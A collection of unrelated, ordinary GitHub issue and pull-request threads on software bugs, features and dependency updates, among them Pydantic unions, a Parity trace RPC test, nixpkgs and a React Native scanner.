{"jsonrpc":"2.0","result":{"output":"0x","stateDiff":null,"trace":[{"action":{"callType":"call","from":"0x2c7536e3605d9c16a7a3d7b1898e529396a65c23","gas":"0x1e3278","input":"0x","to":"0xf0109fc8df283027b6285cc889f5aa624eac1f55","value":"0x3b9aca00"},"result":{"gasUsed":"0x0","output":"0x"},"subtraces":0,"traceAddress":[],"type":"call"}],"vmTrace":null},"id":1}
✔ ~/src/testcontainers-rs [ganache-trace L|✚ 2]

# OFF
22:03 $ curl --data '{"method":"trace_rawTransaction","params":["0xf86a8086d55698372431831e848094f0109fc8df283027b6285cc889f5aa624eac1f55843b9aca008025a009ebb6ca057a0535d6186462bc0b465b561c94a295bdb0621fc19208ab149a9ca0440ffd775ce91a833ab410777204d5341a6f9fa91216a6f3ee2c051fea6a0428",["trace"]],"id":1,"jsonrpc":"2.0"}' -H "Content-Type: application/json" -X POST localhost:33030
{"jsonrpc":"2.0","result":{"output":"0x","stateDiff":null,"trace":[{"action":{"callType":"call","from":"0x2c7536e3605d9c16a7a3d7b1898e529396a65c23","gas":"0x1e3278","input":"0x","to":"0xf0109fc8df283027b6285cc889f5aa624eac1f55","value":"0x3b9aca00"},"result":{"gasUsed":"0x0","output":"0x"},"subtraces":0,"traceAddress":[],"type":"call"}],"vmTrace":null},"id":1}

Verifying that the feature works is Parity business. We just need to pass the argument flag correctly :)


Vue-based themes support

Hi,
I noticed that your extension doesn't work properly in a Vue-based theme (for example: Sphinx Press theme)). The script tag generated by the library causes a JS error in the Vue which results in the white page. This issue is mentioned here: https://stackoverflow.com/questions/69514098/writing-javascript-code-in-a-component-using-vue
I think the best would be to add extra configuration property that lets the extension know that Vue is used.

@lcnittl The most naive way would be to scan the theme's scripts looking for some Vue keywords (e.g. __isVue) but imo it's safer to leave this feature as a configurable option.

@lcnittl any progress on this?

I am afraid no, but I am on vacation next week and can look into it.


Improve handler APIs in a number of places

Closes #26.

Closes #23.

Summary

adds with_stateless_route and with_path_aware_route to App
fixes App::get_state to return Arc<T> not &Arc<T>
updates serve_dir handler to be a PathAwareRouteHandler
adds a Response::redirect convenience method
adds a redirect handler
updates static content example to showcase these changes


Clarify module licensing

i can't find any information about license for the models. maybe the apache 2.0?

Yes, the modules are licensed under the Apache 2.0 Licence, just like the library code itself. I will leave this issue open to track clarifying module licensing in our documentation.
Thanks!

I see the licence information is updated now(please see below snippet). Hence closing the issue. Please add your comments(just in case if what I understand is wrong). I'll reopen the issue with necessary comments. Thank you !


Add initial email reporting

The ability to send email reports for varying things needs to start somewhere.  This will cover adding the basic functionality to send emails without getting into the specific email content yet.
This should also add the support for email sending in shell script wrappers to report issues.

Going to skip the shell file email send for now, but did code in such a way that this can be easily supported in the future.  This will be revisited when how this project will be run takes better form.  For example, there are several "main" modules or entry points, some of which may be running nearly all the time, so it may make more sense to rely on existing normal system means of providing this info.  May still give the option, though, so there is a way to skip configuring the system for that if desired.


Investigate more about subprocess differences in windows

using shell on windows has proven to by tricky. Investigate how to make shell cross platform compatible

Fixed in 0.4.20


Implementing Discriminated Unions without using Nested Models

Initial Checks

[X] I confirm that I'm using Pydantic V2

Description
I'm trying to implement discriminated unions in Pydantic to dynamically select the correct class based on user input using the discriminator parameter. While the documentation suggests creating a nested model class to handle this easily, but I want to avoid introducing additional nested models and instead maintain a flat structure similar to a standard BaseModel.
I'm not sure if I'm using the discriminated union functionality correctly in this context. I have tried the below approaches where using a TypeAdapter comes closest to what I want.
Is there any better way to do this?
Main Code
from typing import Annotated, Literal, Union

from pydantic import BaseModel, Field, RootModel, TypeAdapter

class Cat(BaseModel):
    pet_type: Literal["cat"]
    meows: int

class Dog(BaseModel):
    pet_type: Literal["dog"]
    barks: float

class Lizard(BaseModel):
    pet_type: Literal["reptile", "lizard"]
    scales: bool

Animal = Union[Cat, Dog, Lizard]

Approach - 1  (using RootModel)
I tried to use RootModel but the resulting object is encapsulated within the .root property. I am able to access all the methods of a BaseModel but I cannot directly access the attributes.
AnnotatedAnimal = Annotated[Animal, Field(discriminator="pet_type")]
AnimalModel = RootModel[AnnotatedAnimal]
animal = AnimalModel.model_validate({"pet_type": "cat", "meows": 3})  # Ok
animal.model_dump()  # Ok
try:
    print(animal.pet_type)  # Not Ok
except AttributeError as e:
    print(e)
    # > "RootModel[Annotated[Union[Cat, Dog, Lizard], FieldInfo(annotation=NoneType, required=True, discriminator='pet_type')]]" object has no attribute 'pet_type'

print(animal.root.pet_type)
# > cat

Approach - 2 (using Nested model)
A nested model works as expected, but introduces additional hierarchy, which I would prefer to avoid.
class Pet(BaseModel):
    animal: Animal

pet = Pet.model_validate({"animal": {"pet_type": "cat", "meows": 3}})  # Ok
pet.model_dump()  # Ok
print(pet.animal.pet_type)  # Ok
# > cat

Approach-3 (using TypeAdapter)
With TypeAdapter, I can validate the input, but I lose the some of the benefits of BaseModel methods like for e.g. model_validate.
AnimalTypeAdapter = TypeAdapter(Animal)
animal = AnimalTypeAdapter.validate_python(
    {"pet_type": "cat", "meows": 3}
)
animal.model_dump()  # Ok

try:
    # cannot use .model_validate() as it does not have all methods of BaseModel instances
    AnimalTypeAdapter.model_validate({"pet_type": "cat", "meows": 3})  # Not Ok
except AttributeError as e:
    print(e)
    # > 'TypeAdapter' object has no attribute 'model_validate'

print(animal.pet_type)  # Ok
# > cat

Python, Pydantic & OS Version

             pydantic version: 2.7.1
        pydantic-core version: 2.18.2
          pydantic-core build: profile=release pgo=true
                 install path: /Users/rahul/anaconda3/envs/projects/lib/python3.12/site-packages/pydantic
               python version: 3.12.4 | packaged by Anaconda, Inc. | (main, Jun 18 2024, 10:07:17) [Clang 14.0.6 ]
                     platform: macOS-14.2.1-arm64-arm-64bit
             related packages: mypy-1.11.2 typing_extensions-4.12.2
                       commit: unknown

Yep TypeAdapter is great here!
from typing import Annotated, Literal, Union

from pydantic import BaseModel, TypeAdapter, Field

class Cat(BaseModel):
    pet_type: Literal["cat"]
    meows: int

class Dog(BaseModel):
    pet_type: Literal["dog"]
    barks: float

class Lizard(BaseModel):
    pet_type: Literal["reptile", "lizard"]
    scales: bool

AnimalAdapter = TypeAdapter(Annotated[Union[Cat, Dog, Lizard], Field(discriminator='pet_type')])


emacs: fix missing ccache libary path

Description of changes
If we only override stdenv with ccacheStdenv, we will miss libgcc. However, both stdenv and ccacheStdenv can find libgcc in cc.cc.lib.
related issue: #303625

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Hi @adisbladis, Could you review the code when you have a chance? Thanks!


Feature/watcher not updating scripts

Reloading of groovy scripts was not working.
This fixes the problem

LGTM


Initial commit

Motivation

Closes #2076

Changes

Test Plan

TODO

[ ] Explain motivation or link existing issue(s)
[ ] Test changes and document test plan
[ ] Update documentation as needed

@sidsankhe pull requests should have a proper title and description from the moment of creation, or it becomes very hard to keep track of- and manage all open PRs. If you don't want to invest the time to describe your work up front, just don't create a PR for your branch until later - there's no benefit to a PR other than the ability to easily review (your own and others') code.

@noamnelke So sorry for this, I will keep this in mind for future PRs. I have updated the name.

bors merge

bors merge


Custom mapper in v5

Looks like custom mapper cannot be used anymore in v5. At least after upgrading from v4 my own mapper stopped working at all. I am developing on f# and badly need custom mapping (or native fsharp types support). For example, i do have types without default constructor. But now it looks like that my custom mapper completely ignored.

@vshapenko First of all, my apologies for the late response.
However, can you try it  again with the latest available version? You can access the mapper through the LiteDatabase instance on the Mapper property or you could pass your own implementation as another parameter when creating a LiteDatabase instance.
Please let us know if this (partially) resolves your issue.


[BUG] :lang csharp doctor assumes omnisharp

What did you expect to happen?
...
The doctor for :lang csharp should only check based on omnisharp variables if +lsp is disabled
What actually happened?
...
The doctor has no checks, thus assuming it should check with OmniSharp, causing a doctor error when the doctor tries to run the C# check.
Additional details:

Sorry for the late response: as of e7f04a3 this issue should be resolved. Let me know if that isn't the case and I'll reopen it. Thanks for bringing it to my attention!


Merge paper sources into multi_arg

Just for the purpose of general branch cleanup

Good point! I think we can go even further and merge everything to main once we've found a name :)

Absolutely, that would have been my next step.

Yes, I think we can merge everything in main


Javascript snippet styles valid code in red

This is a valid snippet that displays like it has errors:


Can BNM be used in Xposed, Lspose, and Lspatch modules?

I want to hook the game in the module, but I have a question: How does BNM obtain the offset? How should I change from/doc/maps to the specified program's/doc/maps? I think obtaining the offset is enough

You could read the program's source code to find out.
But basically, it finds the where Unity's IL2CPP API methods are, and it then calls them.
It also uses IL2CPP header files to access data.
I'm also not sure what you mean by "from/doc/maps" and "program's/doc/maps".

You can just load library into target game form module and this will work like adding lib to apk itself.


X Listener Converter

Create a feature where the bot actively listens for "x.com" links and automatically converts them into "fxtwitter.com" links.  Bot should keep original post above to indicate who posted the link.

Elon has since fixed embeds for twitter, and they appear normally again.  Change twitter conversion implementation to be similar to that of tiktok, where it suppresses the embed attached to the message.
Simplify code to avoid redundancy, and make spot changes as discussed with Ivan. Add changes to JSON as well.  Add reply to message to ensure that link is responded to by bot, and not just sent to avoid any confusions.


[Bug report] MySQL table's audit info is empty after user Alice rename the table

Version
main branch
Describe what's wrong

Error message and/or stacktrace
N/A
How to reproduce

Configure gravitino, gravitino.authorization.enable
Add user Alice to mysql metalake
Create MySQL catalog and load the mysql table in the MySQL instance
Rename one MySQL table by Gravitino, "audit" info is still empty ,it's not expected.

Additional context
No response

@jerqi Can you help check this issue ?

The behaviour is expected now. So I will close this.


Update second tensor5d example to be valid

Description

Documentation example code was erroring so I added the required extra items.

For repository owners only:
Please remember to apply all applicable tags to your pull request.
Tags: FEATURE, BREAKING, BUG, PERF, DEV, DOC, SECURITY
For more info see: https://github.com/tensorflow/tfjs/blob/master/DEVELOPMENT.md

This change is

Review status: :shipit: complete! 1 of 1 LGTMs obtained

Comments from Reviewable

Thanks @nbardy!


Rename 2.0.md to 2.0.mdtransfers?max_page_size=20&blockchain_id=32RKL…

…HE7pvKuaiSYi4toR4xj4JggTAinEJ-mainnet&address=32RKLHE7pvKuaiSYi4toR4xj4JggTAinEJ%2C32RKLHE7pvKuaiSYi4toR4xj4JggTAi
transfers?max_page_size=20&blockchain_id=32RKLHE7pvKuaiSYi4toR4xj4JggTAinEJ-mainnet&address=32RKLHE7pvKuaiSYi4toR4xj4JggTAinEJ%2C32RKLHE7pvKuaiSYi4toR4xj4JggTAi

Perhaps this PR was raised in error? It doesn't look like something we would merge.

Hola me puede esplicar por favor
El lun., 24 ago. 2020 6:13, Mike Ralphson<EMAIL_ADDRESS>escribió:

Closed #2324 https://github.com/OAI/OpenAPI-Specification/pull/2324.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/OAI/OpenAPI-Specification/pull/2324#event-3684935716,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQW4FH4HSEPWV54HSUYOCE3SCJDMBANCNFSM4QIZFESA
.

Hola esplicame por favor que hice mal y si me puedes ayudar?

This PR appears to rename a fixed version of the OpenAPI specification to a filename which would:

break people's links
break GitHub language recognition and syntax highlighting
incorporates what looks like URL parameters related to a blockchain address

Solo quiero cambiar mis monedad
El lun., 24 ago. 2020 6:41, Mike Ralphson<EMAIL_ADDRESS>escribió:

This PR appears to rename a fixed version of the OpenAPI specification to
a filename which would:

break people's links
break GitHub language recognition and syntax highlighting
incorporates what looks like URL parameters related to a blockchain
address

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/OAI/OpenAPI-Specification/pull/2324#issuecomment-679076242,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQW4FH6BOEIMEL5MS3XP24DSCJGWBANCNFSM4QIZFESA
.

I don't think we can help you with that.

Ok  pero tengo mi direcciones y lo que pasó fue que al borrar una palabra
no se borró todo
El lun., 24 ago. 2020 8:47, Mike Ralphson<EMAIL_ADDRESS>escribió:

I don't think we can help you with that.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/OAI/OpenAPI-Specification/pull/2324#issuecomment-679136498,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQW4FHYTATFJDBUHQBHTWDLSCJVOVANCNFSM4QIZFESA
.

Lo corregí bien????
El lun., 24 ago. 2020 6:13, Mike Ralphson<EMAIL_ADDRESS>escribió:

Closed #2324 https://github.com/OAI/OpenAPI-Specification/pull/2324.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/OAI/OpenAPI-Specification/pull/2324#event-3684935716,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQW4FH4HSEPWV54HSUYOCE3SCJDMBANCNFSM4QIZFESA
.


Support Nymphcast

While chromecast are being pushed hard by google and are easy to find, the protocol is proprietary, which prevents you from implementing a server on your own hardware.
Nymphcast (also here: https://github.com/MayaPosch/NymphCast ) is an open protocol aiming at replicating the functionality of chromecast. It would be nice if catt could send media to a NymphCast server.

That looks interesting, how much support is there for this in devices?

Not much AFAIK. Currently, this is aimed at DIY projects. However, the protocol and implementation being open, this should be easier to support than chromecast.
Maybe the feature request belongs in pychromecast?

Possibly, I don't know what they might want to do. I'd be open to a PR that implemented some compatibility, if it didn't make the code harder to maintain.


Make sure all needed classes are registered for Kryo serialization

Also did an optimize imports on all code to remove unused imports

Also added the ability to use  ";"  within quoted strings (single or double) in mapalgebra


Fix webpack inclusion

Related to #3
required:

new git tag for github release
npm publish

Thanks Valerio!


Support device mapping for Paged Attention

Added support for device mapping in Paged Attention by passing the device list from the mapper to the cache engine. Manual moving was required for certain unmapped tensors in the paged attention forward pass. I have tested the device mapping support on several text models and it appears to be functional.
Memory allocation is currently calculated as if all memory is available on a single device, resulting in that memory being split across devices; ideally, we should calculate available memory per GPU. If this PR is fine, I will work on this next.
Additionally, this feature currently only supports GPU devices due to an error when attempting to use reshape_and_cache() with non-cuda tensors.
Please let me know if you'd like me to revise anything!

Thanks for the updates. I think this is close to merge.

I updated PagedAttentionInputMetadata to store tensors as hashmaps of device location to the actual tensor. The performance penalty has decreased, but there's still a remaining small penalty of a few percent; I even tested a similar optimization to the attention mask in the model forward pass, since it's also copied every layer, but it didn't give any further performance improvement. I suspect this is due to the unavoidable mapping of xs in the layer forwards. Tensor parallelism might help mitigate the remaining penalty and potentially provide a performance gain.

Sounds great! I agree, TP is something we should look into. I think the hard part is integrating it nicely with the existing codebase.

To implement the updated PagedAttentionInputMetadata, I made some changes to the pipeline trait. Since the struct now uses hashmaps to store tensors, we need to have the mapper available wherever the struct is instantiated. I added the mapper to the MetadataMixin trait, allowing it to be passed from the pipeline to the input processor, and then used to create the PagedAttentionInputMetadata instance. I also noted that most pipelines don't use paged attention, so I used an Option to represent the mapper and passed None for those pipelines.

Sounds good.

As a side note, I noticed that Qwen2 and Quantized Llama's RotaryEmbedding uses candle directly - was this intentional or should it be using mistralrs instead, which now includes the Tensor::to_device addition? Other models use the mistralrs one

Yes, can you please update it to use the ones in mistralrs?


[WINDOWS] Add an additional interface file to the windows build.

      Make sure the interfaces directory is searched for "other" interfaces.

Hi @pwielders It has, so I ran by hand.  Thank you for pointing it out.

@mhughesacn thanks!


[Snyk] Upgrade eslint-plugin-import from 2.25.4 to 2.26.0

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade eslint-plugin-import from 2.25.4 to 2.26.0.

:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 1 version ahead of your current version.
The recommended version was released 22 days ago, on 2022-04-05.

The recommended version fixes:

Severity
Issue
PriorityScore (*)
Exploit Maturity

Prototype Pollution SNYK-JS-MINIMIST-2429795
185/1000  Why? CVSS 3.7
No Known Exploit

(*) Note that the real score may have changed since the PR was raised.

Release notes

Package name: eslint-plugin-import

2.26.0 - 2022-04-05v2.26.0

2.25.4 - 2022-01-02v2.25.4

    from eslint-plugin-import GitHub release notes

Commit messages

Package name: eslint-plugin-import

d160285 Bump to 2.26.0
0e80ee3 [Deps] update `tsconfig-paths`
d8633c3 [Docs] `no-unresolved`: fix link
98bbb2c [Docs] `order`: TS code examples should use TS code blocks
21304bd [Deps] update `tsconfig-paths`
8b7000e [Fix] `no-unused-modules`: avoid a crash when processing re-exports
747d6dc [Docs] make rule doc titles consistent
b0e6f7f [Refactor] `namespace`: try to improve performance
00a4ede [Deps] update `minimatch`
35bd3a5 [Dev Deps] update `@ angular-eslint/template-parser`, `chai`
02ccbc1 [New] `no-relative-packages`: add fixer
0595a2f [Fix] `no-duplicates`: Ignore duplicate modules in different TypeScript module declarations
3603428 [Refactor] `export`: clean up rule, tests
ade33a4 [Fix] `export`: false positive for typescript namespace merging
41d4500 [Deps] update `eslint-module-utils`
eef7487 [Tests] consolidate eslint config
128d505 [Tests] handle eslint v8.8 adding `suppressedMessages` property
ad18a62 [Fix] `default`: `typescript-eslint-parser`: avoid a crash on exporting as namespace
fc98de2 utils: v2.7.3
3d02b66 [New] `no-dynamic-require`: support dynamic import with espree
a929394 [Tests] export resolved `espree` path
0ded887 [Docs] `no-unresolved`: Fix RegExp escaping in readme
624aa61 [Tests] test on `@ typescript-eslint/parser@5`
b74013d [Tests] export resolved parsers for cleaner comparison

Compare

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

Closed as no longer needed due to other PRs landing.


Update support for new locations in DevOps task

The Azure Image Builder Service is available in the following regions however they are not listed as available locations in the DevOps task:

South Central US
South East Asia
Australia Southeast
Australia East
UK South
UK West

@dazzlejim
any way I can refer to these locations from the DevOps task?
I am having to send to North Europe then have it replicated to UKS and that adds time to the task.
or is can you point me to a way to use AIB via cmd line?
Thanks, M


Comment tags are counted as part of the "exactly one root element" for templates for directives with replace mode

Templates for directives with replace mode to true can only have one root element, otherwise this error occurs. However, comment tags are also counted in that check. So for example, the following:
app.directive("superman", function() {
  return {
    restrict: "E",
    template: "
Here I am to save the day
",
    replace: true
  }
})

http://codepen.io/anon/pen/bazyI
Causes an error. Maybe this will be considered a won't-fix but our designer guide couldn't comprehend why the template suddenly stopped working when he added a comment.


matrix multiplication vs decorator

Currently, something like
(foo
 @ bar)

incorrectly highlights bar as a decorator, when it is in fact an operand of a matrix multiplication (note that this code conforms to the "new" PEP8 which suggests breaking before operators).
While a general solution may be tricky, it seems reasonable to only highlight as decorators when the @ is immediately followed by a letter (or underscore), without spaces in between.  Spaces after the @ in a decorator are legal, but I have never seen cases where they are used...

Anything wrong with https://github.com/vim/vim/blob/44d6652d561d628d12e3ff7f6636ea7d1f805ced/runtime/syntax/python.vim#L115?


CAS-501 Proposal view results

@germanurrus Now that we are going to be using Release branches going forward, can you retarget this to release branch release-v1.5.0


After taking the picture the app does nothing (Android)

Hi, thank you in advance for contributing to this field.
I'm trying to use the complete example, but for some reason, after I take the photo nothing happened.
Do you know what can be causing this problem?

@cagv24 Here's a few things you can try. The onErrorProcessingImageevent will return an error message if there was an error during capture. Check this to see if there is something failing. There's also the onPictureTaken event should return the path to where the captured images will be saved (this is before the write operation). If this succeeds, then listen for the onPictureProcessed event. This means the image was captured and stored successfully. If none of these run, then there is a larger issue here.

Yes, you're rigth.
It prints this on the console:
LOG  On Picture Taken...
LOG  {"croppedImage": "file:///data/user/0/com.scanner/cache/RNRectangleScanner/C0d43e1e6-7e2e-474a-aac9-bb3a6d6d2c4b.png", "initialImage":
LOG  On Picture Processed...
LOG  {"croppedImage": "file:///data/user/0/com.scanner/cache/RNRectangleScanner/C0d43e1e6-7e2e-474a-aac9-bb3a6d6d2c4b.png", "initialImage": "file:///data/user/0/com.scanner/cache/RNRectangleScanner/O04fc073d-8736-4c78-91e8-62dc2a2fe8e1.png"}
So everything seems to be good. I was expecting the next view as the Gif shows 😅.
Thank you for your support.
One last question, do you have any plan on adding automatically photo and/or batch features?

No problem! Yeah the gif may be a bit confusing. This package was built with minimalism in mind so you can build it any way you want to.
As for your features, if I understand them correctly, this should be already possible.

Auto capture is actually handled entirely in javascript! So on the RectangleOverlay component you set the allowDetection flag, which will determine if it has found the correct rectangle (if the last few detections were similar). Then you set the onDetectedCapture prop on that component which gets triggered when that component has detected the document.
Batch capturing is possible as well. If you simply captured again, it would call the onPictureProcessed/onPictureTaken events with paths to the new image. The previous image is not deleted. (They are stored in the cache directory, so they eventually will be deleted on app update, or other times. You should move those images, or do something with them after you finish up with this component)

Hopefully that answers your questions!

Hi, yeah, that is exactly what I need.
After doing some tests to the scanner I found that after taking the picture the images are displayed with zoom in then some information gets missed.

Could you send a screenshot/examples of the images?

Yes, for sure.
My phone is a Samsung Galaxy S8.
This is the preview:

And this is the processed image:

I'm checking the fourPointTransform method and it seems like if I modify the maxWidth and maxHeight with hardcoded I could fit the cropped image as expected. However I think this is not a good way to solve this problem

@cagv24 This bug has shown up before and it should be fixed. The preview/picture size issue is most likely what is going on here but I'm not sure why it's not working right. If you debug the package, could you send a list of the picture sizes and preview sizes as well as the devices screen size? This function  should be selecting the right sizes.
Also I wrote [This function[(https://github.com/HarvestProfit/react-native-rectangle-scanner/blob/master/android/src/main/java/com/rectanglescanner/helpers/Quadrilateral.java#L29-L51) which takes the preview image size/ratio and adjusts the rectangle for the picture image ratio. So even if the picture/preview sizes are different, it should correct it.

After doing some debug to the java part I check the used sizes on setupCamera are the followings:
Preview Size: 1920x1080
Picture Size: 4032x3024
Does this tell you anything?

Hmm so I had accounted for these differences here. Basically it detects a rectangle on the preview screen size. The preview screen size is always 100% shown on the screen (this is why the onDeviceSetup returns the height and width % so the view can be adjusted and the preview is not skewed). BUT often the picture size is different, so on capture, it should be taking the captured image and cropping it to the ratio of the preview size before applying the rectangle.
My point with that jargon is that the difference of ratios should be supported. So I'm thinking that debugging those lines as well as Quadrilateral.cropImageToRectangleSize and (Quadrilateral.getPointsForSize)[https://github.com/HarvestProfit/react-native-rectangle-scanner/blob/master/android/src/main/java/com/rectanglescanner/helpers/Quadrilateral.java#L56] might yield and answer here.
Also good point on the optimal resolution function. I think it needs to take the ratio but also the highest resolution. We want the captured image to be high quality (also why I support different ratios, so this shouldn't matter). Maybe adding a margin on it so it takes the best fitting ratio first, then if the resolution is above a certain amount (like if it is 2x larger), then take the higher resolution.


bugfix(int-304): In SBSelect, remove the scrollbar and check if the large options view works

This PR fixes the issue that Ademar reported where all selections were scrolling.

Pull request type
Jira Link: INT-304: In SBSelect: Remove the scrollbar and check if the large options view works

[x] Bugfix
[ ] Feature
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no api changes)
[ ] Other (please describe):

How to test this PR

To test this PR, you first need to change a system preference on mac:
Go to System Preferences > General > Show Scroll bars > Check Always

Then access the Blok.ink generated by vercel and go to:
Menu > Components > Form > SbSelect > Default
Select an option and verify that the scroll bar is not displayed.

Still in the SbSelect Default, add a longer description to the option at:
Control > Props > Options
Check that the text does not exceed the limits of the select box.

Do the same tests for SbSelect > With Icon.

Other information
I am available for any questions or suggestions!

Well done, the scroll is gone 🚀 I have one concern though, the letters are getting cropped:

Thanks @anthonysousa, please test again? 😉


Can't run - errors relating to ajv-keywords package

When I try to run npm install npm run start I get lots of errors like the below for various .svg files.  Looks like this is possibly due to a version mismatch with the ajv-keywords package somewhere, as hinted in this issue.
ERROR in ./src/assets/images/icon_new_chat.svg
Module build failed (from ./node_modules/file-loader/dist/cjs.js):
Error: Unknown keyword formatMinimum
    at get (/home/richard/workspace/third_party/KiwiTalk/node_modules/schema-utils/node_modules/ajv-keywords/dist/index.js:25:15)
    at ajvKeywords (/home/richard/workspace/third_party/KiwiTalk/node_modules/schema-utils/node_modules/ajv-keywords/dist/index.js:10:13)
    at Object.<anonymous> (/home/richard/workspace/third_party/KiwiTalk/node_modules/schema-utils/dist/validate.js:65:1)
    at Module._compile (node:internal/modules/cjs/loader:1105:14)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10)
    at Module.load (node:internal/modules/cjs/loader:981:32)
    at Function.Module._load (node:internal/modules/cjs/loader:822:12)
    at Module.require (node:internal/modules/cjs/loader:1005:19)
    at require (node:internal/modules/cjs/helpers:102:18)
    at Object.<anonymous> (/home/richard/workspace/third_party/KiwiTalk/node_modules/schema-utils/dist/index.js:6:5)

Still same problem from https://github.com/facebook/docusaurus/issues/6073


Calling methods on .NET instances

I know methods aren't accessible for security reasons, that's good. But I have a scenario where it'd be handy to enable them. At first I thought a MemberFilter would let me opt into that, but looking at the code it looks like a MemberFilter can only be more restrictive than the built-in filtering, not instead of the built-in filtering. Is there any reason not to allow more flexibility?
https://github.com/lunet-io/scriban/blob/a6780cb8878cdfa92a0bdfce61caa7aa2809d3b8/src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs#L83

Yeah, sorry, this is more restrictive because instance methods are really not supported behind this filtering.


Enhancement: Fork Chat

What features would you like to see added?
Please add a button to each message that allows you to "fork" the chat from that message. All previous messages before that fork point would then be added to a new chat.
More details
This is useful for many situations, to be able to have multiple branching chats from a chat history you just created.
Which components are impacted by your request?
UI
Pictures

Code of Conduct

[X] I agree to follow this project's Code of Conduct

that's good

I love this idea and think it can be easily implemented

another approach is to only copy the visible thread, but I can maybe add an option for both

So as I dove deep into this, it turned out more complex than I'd hoped, but it has certainly been worthwhile. Merging this soon, and here's a preview of all the options


https not supported

Access via https is not possible.
Https should be available
I want to expose this service with KEMP and Kemp needs https support to work.

Hi.  You will need to put a reverse proxy in front of this.  If you're looking for a guide on how to do that you can follow this https://docs.technotim.live/posts/traefik-portainer-ssl/ or many other guides on how to install and configure a reverse proxy.

Hi
I use Kemp as reverse proxy service. It needs https support at the endpoint. As all traffic is encrypted.
I could switch endpoint encryption off. But then one of my services is not available, as it only provides https

Hi.  The job of most reverse proxies it to provide a single proxy for common tasks and features like transport encryption.  I haven't used kemp before, but have use many other load balancers and revers proxies and typically that is where you terminate your certificates.


[kjobctl] Fix create interactive command.

What type of PR is this?
/kind bug

What this PR does / why we need it:
Fix create interactive command on kjobctl.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?

NONE

/cc @IrvingMg

/lgtm
/approve


Docker

Hi
thanks for this great repo.
Is there a public available docker image for this project yet?
Else it would be great to get this right out of the build process
Regards

Thanks for the interest.  The team currently has no experience with Docker.  Is this something you could help us with ?

I will try.
I am not a docker expert but I will create a PoC.

@davidwatkins73 I'll also throw my knowledge into the bucket!

@jdbohrman do you have a branch / fork for this?

@Urbiwanus I do! Here it is. https://github.com/jdbohrman/waltz/tree/dockerized


[BUG] Crash game after using command

Describe the bug
I use command to send RPCs to all players. After typing command Game sometimes (2/3 times of tries crashes) crash with error:
[Error : Unity Log] Trying to add Caret (TMPro.TMP_SelectionCaret) for graphic rebuild while we are already inside a graphic rebuil loop. This is not supported.

To Reproduce
Steps to reproduce the behavior:

Go to terminal
Type your command (which is using RPCs or LethalNetworkLib send message toAllClients())
Hit enter (Message on terminal changes and now we got crash, console freezes)

Expected behavior
Not crash
Screenshots
ss attached

ModList
018d80c3-1d5e-8b0a-fff9-ad01edad98f6
simple mods, half of them is disabled
Additional context

Hello MrPatryk, thanks for bringing this to my attention. I will look into this when I have the time. Though the error message you have shown is a vanilla error message and I am pretty sure that is not the cause of the crash.

I think this can be cuz before I return message I calculate some data to display it (but still its O(i+j) + Array.Order()). No IEnumerator is used before display msg. It could be but will check some scenarios


Add a gm reboot command

Summary

Add a gm reboot command that resets the state of gm.
Problem Definition

Sometimes the state of the local networks and full nodes on my machine get pretty messed up. In that scenario, the easiest fix is to simply reboot everything to a blank slate and start over.
Currently, this requires manually removing the appropriate directories. It would be handy to add a gm command to do this more quickly and easily.
Proposal

Add a gm reboot command that resets the state of gm. This command would:

Remove all full nodes and networks from /.gm
Run killall gaiad

Acceptance Criteria

[ ] gm reboot command added that works as expected

For Admin Use

[ ] Not duplicate issue
[ ] Appropriate labels applied
[ ] Appropriate milestone (priority) applied
[ ] Appropriate contributors tagged
[ ] Contributor assigned/self-assigned

I wonder how a gm reboot would differ from gm reset which is currently implemented.
So far, I've been using an alias which does :
gm stop && gm reset && gm start

I was thinking the reboot command would perform these three steps along with rm -rf $HOME/.gm/ibc* and rm -rf $HOME/.gm/node*.

This is a very good idea. I find myself using rm -rf $HOME/.gm/ibc* very often in conjuction with gm stop && gm reset && gm start. I'm even thinking that gm reset should be doing this, instead of adding a new reboot command.

Tagging @harveenSingh here. This is a not a priority. But we'll get to it within ~a month or so.

Thanks for adding me.
I have also found myself using rm -rf $HOME/.gm/ibc* . I agree on this 100%,  gm reboot would be very useful

@harveenSingh please transfer this issue to https://github.com/informalsystems/gm


Unwrap none value error on cargo run --release

Summary
Running cargo run --release gives me an unwrap on None value error.
After pulling the latest commits, I now get this error:
thread 'main' panicked at 'called `Option::unwrap()` on a `None` value', /RustPython/compiler/core/src/bytecode.rs:286:27

Expected
Repl to start

Actual
unwrap None value error
